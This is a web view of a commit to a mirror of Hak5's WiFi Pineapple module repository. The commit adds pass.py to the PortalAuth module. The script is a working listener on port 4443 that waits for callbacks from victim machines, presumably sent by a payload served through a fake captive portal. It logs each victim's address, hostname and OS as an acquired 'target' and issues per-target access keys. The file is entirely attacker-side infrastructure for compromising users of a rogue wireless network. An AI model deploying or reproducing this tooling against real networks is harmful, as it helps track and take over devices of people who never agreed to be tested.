mirror of
https://github.com/hak5/nano-tetra-modules.git
synced 2025-10-29 16:58:09 +00:00
Add modules to repository
This commit is contained in:
103
PortalAuth/includes/pass/Backups/pass.py
Executable file
103
PortalAuth/includes/pass/Backups/pass.py
Executable file
@@ -0,0 +1,103 @@
|
||||
import socket
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
from random import randint
|
||||
|
||||
lhost = "172.16.42.1"
|
||||
lport = 4443
|
||||
targets = []
|
||||
activitylog = "/pineapple/modules/PortalAuth/includes/pass/pass.log"
|
||||
targetlog = "/pineapple/modules/PortalAuth/includes/pass/targets.log"
|
||||
keyDir = "/pineapple/modules/PortalAuth/includes/pass/keys/"
|
||||
|
||||
class Target:
|
||||
def __init__(self,addr = None,port = None,name = None,osType = None):
|
||||
self.addr = addr
|
||||
self.port = port
|
||||
self.hostname = name
|
||||
self.platform = osType
|
||||
|
||||
def targetInfo(self):
|
||||
info = "Address: " + self.addr + "\r\n"
|
||||
info += "Port: " + str(self.port) + "\r\n"
|
||||
info += "Hostname: " + self.hostname + "\r\n"
|
||||
info += "OS: " + self.platform + "\r\n\r\n"
|
||||
return info
|
||||
|
||||
def now():
|
||||
return time.strftime("%m/%d/%Y %H:%M:%S")
|
||||
|
||||
# Import the target information from the target log
|
||||
with open (targetlog, 'r') as f:
|
||||
for line in f.readlines():
|
||||
parts = line.split(":")
|
||||
if parts[0] == "Address":
|
||||
t = Target()
|
||||
t.addr = parts[1].strip()
|
||||
elif parts[0] == "Port":
|
||||
t.port = int(parts[1].strip())
|
||||
elif parts[0] == "Hostname":
|
||||
t.hostname = parts[1].strip()
|
||||
elif parts[0] == "OS":
|
||||
t.platform = parts[1].strip()
|
||||
targets.append(t)
|
||||
else:
|
||||
pass
|
||||
|
||||
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
server.bind((lhost,lport))
|
||||
server.listen(5)
|
||||
|
||||
with open(activitylog, "a") as f:
|
||||
f.write("[!] " + now() + " - Server listening on " + lhost + " port " + str(lport) + "\r\n")
|
||||
|
||||
curTarget = accesskey = None
|
||||
connected = False
|
||||
while 1:
|
||||
if not connected:
|
||||
(client, address) = server.accept()
|
||||
connected = True
|
||||
while 1:
|
||||
try:
|
||||
recv_buffer = client.recv(4096)
|
||||
data = recv_buffer.split(";")
|
||||
|
||||
# If the target already exists update the listening port
|
||||
if any(tgt.addr == address[0] for tgt in targets) is True:
|
||||
for _tgt in targets:
|
||||
if _tgt.addr == address[0]:
|
||||
_tgt.port = int(data[0])
|
||||
_tgt.hostname = data[1]
|
||||
_tgt.platform = data[2]
|
||||
curTarget = _tgt.addr.replace('.', '_')
|
||||
with open(activitylog, "a") as f:
|
||||
f.write("[!] " + now() + " - Target port updated for " + _tgt.addr + " to " + str(_tgt.port) + "\r\n")
|
||||
else:
|
||||
# Add a new target to the list
|
||||
t = Target(address[0], int(data[0]), data[1], data[2])
|
||||
targets.append(t)
|
||||
curTarget = t.addr.replace('.', '_')
|
||||
with open(activitylog, "a") as f:
|
||||
f.write("[+] " + now() + " - New target acquired at " + t.addr + " on port " + str(t.port) + "\r\n")
|
||||
|
||||
# Write out all targets to the target log
|
||||
with open(targetlog, "w") as f:
|
||||
for t in targets:
|
||||
f.write(t.targetInfo())
|
||||
|
||||
# Generate a random access key, store it in a file for later access by auth.php, and
|
||||
# send the key back to the client
|
||||
with open(keyDir + curTarget + ".txt", "w") as f:
|
||||
accesskey = '%05i' % randint(0,99999)
|
||||
f.write(accesskey)
|
||||
client.send(accesskey)
|
||||
|
||||
if not len(recv_buffer):
|
||||
connected = False
|
||||
break
|
||||
except:
|
||||
connected = False
|
||||
break
|
||||
server.close()
|
||||
Reference in New Issue
Block a user